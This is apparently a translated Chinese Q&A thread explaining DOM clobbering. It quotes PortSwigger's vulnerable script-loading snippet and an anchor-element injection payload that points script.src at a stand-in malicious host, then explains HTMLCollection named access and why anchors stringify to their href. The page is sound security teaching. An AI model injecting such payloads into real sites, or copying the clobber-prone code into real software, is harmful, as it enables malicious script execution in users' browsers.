4

我对DOM Clobbering的主题有一些疑问:

Portswigger 对此进行了解释:

 <script>
 window.onload = function(){
    let someObject = window.someObject || {};
    let script = document.createElement('script');
    script.src = someObject.url;
    document.body.appendChild(script);
 };
</script>

要利用此易受攻击的代码,您可以注入以下 HTML 以使用锚元素破坏 someObject 引用:

<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>

由于两个锚点使用相同的 ID,DOM 将它们组合在一个 DOM 集合中。DOM 破坏向量然后用这个 DOM 集合覆盖 someObject 引用。在最后一个锚元素上使用了 name 属性,以破坏 someObject 对象的 url 属性,该属性指向外部脚本。

我的理解是:

带有 id 的锚元素someObject存储在一个类似数组的结构中——一个 DOM 集合。

通过

var someObject = window.someObject || {};

锚元素是使用 id 引用的——一些浏览器将 id 直接存储在 window 对象中(是否始终可以从 window 对象获得 html 元素的 ID?)。

然而:

这就是控制台所说的:

控制台第 1 部分 控制台第 2 部分

(有关此主题的更多信息也可以在这里找到:https ://medium.com/@shilpybanerjee/dom-clobbering-its-clobbering-time-f8dd5c8fbc4b )

4

1 回答 1

5

为什么 name 属性会用 URL 覆盖 url 属性?

因为someObject实际上是一个 HTMLCollection,您可以HTMLCollection通过名称访问命名元素。

console.log( document.getElementsByClassName("test").bar );
<div class="test" name="foo"><div><div class="test" name="bar"></div>

DOM 集合与这一切有什么关系?

注意它们是如何有两个具有相同id属性的元素的?好吧,即使它违反规范,但在将命名元素作为window的属性访问时,相同的规范实际上有一个特殊的规则来处理这种情况:

  1. 否则,如果对象只有一个元素,则返回该元素。
  2. 否则返回一个以窗口关联 Document 为根的 HTMLCollection,其过滤器仅匹配名称为 name 的窗口的命名对象。(根据定义,这些都是元素。)

我认为只有 Chrome 确实尊重这里的规范,所以在这个浏览器中,如果你通过id这样的方式访问一个元素并且有多个具有相同 ìd 的元素,你会得到一个 HTMLCollection 而不是一个元素:

console.log( window.foo ); // in Chrome [HTMLCollection]
<div id="foo">1</div><div id="foo">2</div>

window.someObject 中的对象初始化器 || {} ( https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer ) 对攻击起什么作用?

这只是为了避免null在处理程序触发时没有带有 thisid的元素,所以它在这里主要是无用的。

最后一个问题:为什么script.src = someObject.url;要从整个锚元素中提取href?

因为HTMLAnchorElement.toString()返回.href值。

于 2021-04-13T09:04:37.440 回答